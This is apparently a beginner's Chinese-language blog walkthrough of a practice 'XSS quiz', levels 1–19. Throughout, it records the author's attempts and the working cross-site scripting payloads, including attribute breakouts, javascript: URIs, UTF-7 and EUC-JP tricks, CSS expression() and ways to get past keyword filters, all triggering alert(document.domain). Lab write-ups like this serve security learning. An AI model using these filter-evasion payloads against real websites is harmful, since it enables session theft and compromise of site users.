XSS quiz
最近刚学XSS。所以新手理解如有错误不当,欢迎批评指正。
第1题
一开始做,使用了Chrome浏览器。第一题怎么都做不出来。突然想起来使用IE,打开IE11,才成功了。
<script>alert(document.domain);</script>
第2题
第二题,直接用这个不行。
查看源代码。
构造一个,把左边的< input ..... 封掉。
"><script>alert(document.domain);</script><"
第3题
随便搜点东西
构造
"</b></form><script>alert(document.domain);</script><from><b>"
也不行。
可见他过滤了尖括号和引号。<>” 分别变成了转义符 <>"
我试试用 Jother。也不行
上网查阅资料,找到另一种回避 < > “ 的方法:Unicode编码
< \u003c
> \u003e
“ \u0022
也不行。
再试试Base64
data:text/html;base64,IjwvYj48L2Zvcm0+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pjxmcm9tPjxiPiI=
data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+
似乎也不行。跪了
实在不行了。Hint里写,Hint: The input in text box is properly escaped.
网上的答案写:“但是输入点就不仅这处。”
只好在F12 Console里写:
alert(document.domain)
弹窗。不知出题者什么意思。。。估计不是这个意思。
什么叫输入点不仅此处?尝试使用工具 WebScarab:
改下面的。在Japan后加上
<script>alert(document.domain);</script>
弹窗成功。
在Firefox的FireBug下,直接修改也行。不知道出题的意思是什么。
第4题
发现了这个东西:多出来的
我把它改为了 type=text,直接输入下文:
"><img src=# onerror=alert(document.domain)><input type="text" value="
成功弹窗。
第5题
一开始没注意有什么。没有过滤。突然发现有长度限制15字符。
直接把15改为999。然后填写,弹窗成功。
也可以用WebScarab拦截POST包,修改。可以绕过15字符限制。成功弹窗。
后来看了网上答案,似乎也是用代理拦截。
第6题
这次随便输入东西。发现 <>号被转义为 <>
尝试利用前面的知识:Unicode编码。似乎不行。
突然想起,用这个代码,不需要尖括号:
" onmouseover=alert(document.domain) align="left
弹窗成功。
看答案是基本一样的。
第7题
这一次刚一看,没有长度限制。也没有过滤。仔细看才发现,把&<>” ‘ 这些符号都转义了。
& <> " '
先来试试前面的Unicode和base64吧:
测试不行?
"><img src=# onerror=alert(document.domain)><"
看Hint,Hint: nearly the same... but a bit more tricky.
差点忘了第6题的方法。只是引号不能用了。
突然发现 input的value没有引号。要啥引号!
123 onmouseover=alert(document.domain)
鼠标滑过,弹窗成功。
看来代码还是要仔细看的。
第8题
这次的Search变成了Make a link。果然是输入一个地址,在下面生成一个同样的链接。
那目测要反射型?
但是测试一下发现,他过滤了引号。和尖括号。
" onclick=alert(document.domain) align="left
上面是不行的。
忍不住看一眼答案,瞬间明白了,直接在src里面插代码不就完了。
javascript:alert(document.domain)
这就行了
第9题
看代码,又一个hidden的input。
Hint: UTF-7 XSS
UTF-7:A Mail-Safe Transformation Format of Unicode(RFC1642)。这是一种使用 7 位 ASCII 码对 Unicode 码进行转换的编码。它的设计目的仍然是为了在只能传递 7 为编码的邮件网关中传递信息。 UTF-7 对英语字母、数字和常见符号直接显示,而对其他符号用修正的 Base64 编码。符号 + 和 - 号控制编码过程的开始和暂停。所以乱码中如果夹有英文单词,并且相伴有 + 号和 - 号,这就有可能是 UTF-7 编码。
nputn link.ver=alert(document.domain)不管了,先上FireBug爽一把:
我看到,这个hidden的input,name=”charset”,value=”EUC-JP”。
这EUC-JP是日语的一种编码方式。
研究答案:
+ACI- onmouseover=+ACI-alert(document.domain)+ADsAIg- x=+ACI-
utf-7
实际测试:+编码为%2b
p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=euc-jp
突然在另一个答案上有注释:
现在只有IE支持utf-7所以IE下通过
我去,用了半天火狐了。转回IE
可惜IE也不行?什么情况?
第10题
这次<>”都没有过滤。
用了刚才一招:
" onmouseover=alert(document.domain) align="left
没有弹窗。再看看代码,发现 domain这个词给我过滤了
恐怕要用编码。
对了,上边还有个hidden的input:
<input type="hidden" name="key" value="tubhf22ui/qiq">
这是啥玩意?
搞了半天,忍不住看一眼答案,真是太巧妙了:
" onmouseover=alert(document.domdomainain); x="
把domain过滤掉,两边合起来还是domain。
致以崇高敬意。
"ametoxBug
第11题
这一次什么都没有过滤。不知道会有什么花样。
直接上代码:" onmouseover=alert(document.domdomainain); x="
我去,我的mouseover变为了xxx。而不是上一局的直接删除。
上一局的方法又不好使了。
再来一招:
"><img src=# onerror=alert(document.domain)><"
我去,error这个词也过滤了。
我猜script也会过滤:
果然。<script></script>之间的都被删了。
这次的Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
src=”javascript.......
因此也变为了javaxscript
看答案:使用了 	 (\t)把script隔开了。
用 "><a href="javascr ipt:alert(document.domain);">12</a>
点击链接,火狐会直接打开新窗口
用IE,却可以弹窗。我勒个去?
第12题
这次value没有引号。但是发现空格会被过滤。尖括号和引号也会直接消失。
答案是:
``onmouseover=alert(document.domain);
一开始两个单引号。但是用火狐还是不行。用IE可以。
不对,不是单引号,而是ESC下面的键 ` ,ascii码为 96(0x60)。叫做反单引号。
答案写:
//这一关是吧00空字符,和20空格、尖括号、单引号、双引号都过滤成空了。可以用反引号(`)TAB键上面的那个代替。IE下通过、FF,chrome不行。
服了。
第13题
一个背景颜色的题,可惜会过滤我的引号。
关于style,expression,css等方面基本不懂。直接看答案吧。
网上某答案写
background-color:#f00;background:url("javascript:alert(document.domain);");
这种方式没有成功
另一个答案写:
在CSS样式中利用expression实现JavaScript中的onmouseover/onmouseout事件
aa:expression(onmouseover=function(){alert(document.domain)})
似乎也不行。
跪了
先用firebug弹窗,过了再说。
PS:14题开始使用IE8内核的浏览器时,回过头看一看:
两种都可以弹窗。
第14题
还是style的题。先看Hint: s/(url|script|eval|expression)/xxx/ig;
难道是升级版?试了一下,这四个词全变成了xxx。那么上一题的方法也不能用了。
再次看答案,
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
看来是在里面插入空白注释来回避审查。
我使用IE11和Firefox都无法弹窗。有可能是浏览器问题(出了这么多问题),于是拿出经典的 点心浏览器(不是做广告),IE8内核。一直按F12切换内核太麻烦。这次弹窗了。那就决定使用它了。
第15题
这是一个javascript,使用了document.write。
先上代码:
");alert(document.domain);alert("
发现转义了<>”
用转义的ASCII码:
16进制,< 0x3c >0x3e
\x3cscript\x3ealert(document.domain);\x3c/script\x3e
发现单个\不成功。使用这个:
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
成功弹窗。
PS:
做个小实验,本地HTML,
<script>
document.write("<script>alert(3)</script>");
</script>
不会弹窗。
<script>
document.write("\x3cscript\x3ealert(3)\x3c/script\x3e");
</script>
上面这样转义,则会弹窗。(Chrome)
第16题
目测与15题类似。但是Hint加了一句。
Hint: "document.write();" and "s/\\x/\\\\x/ig;"
再目测这是跟16进制过不去?
\x 会变为 x ,而\\x 还是\\x 。\\\x变为\\x。
试试十进制、八进制啥的。
<>的十进制是60和62。
\60script\62alert(document.domain);\60/script\62
仍然过滤了\。再次变为两个:
\\60script\\62alert(document.domain);\\60/script\\62
仍然不行。\\6集体消失。
试一下Unicode。参考前面的,
< \u003c
> \u003e
“ \u0022
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
可以了。
第17题
这一题有两个框。
看答案,这一题似乎较为复杂,和日语编码有关;并且新版本的IE都已经修复了。
提示:multi-byte character
euc-jp的编码范围:
byte 1為8E時, 為2 byte編碼, byte 2範圍為A1-DF
byte 1範圍為A1-FE時, 為2 byte編碼, byte 2範圍為A1-FE
byte 1為8F時為3 byte編碼, byte 2與byte 3範圍均為A1-FE
两个表单元素都提交%A7闭合最后的双引号,查看源码成功了,为什么UI上去没成功?无奈直接在地址栏:javascript:alert(document.domain);
现在发现原来是浏览器版本问题,别用IE8了过这个。
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
干脆跳过拉倒。
第18题
同样问题。
跳过拉倒。
第19题
这一题没有了input的框。只有一个指向自己的link。
那怎么办,直接console输入拉倒。(在地址栏输入javascript:alert(document.domain)也行)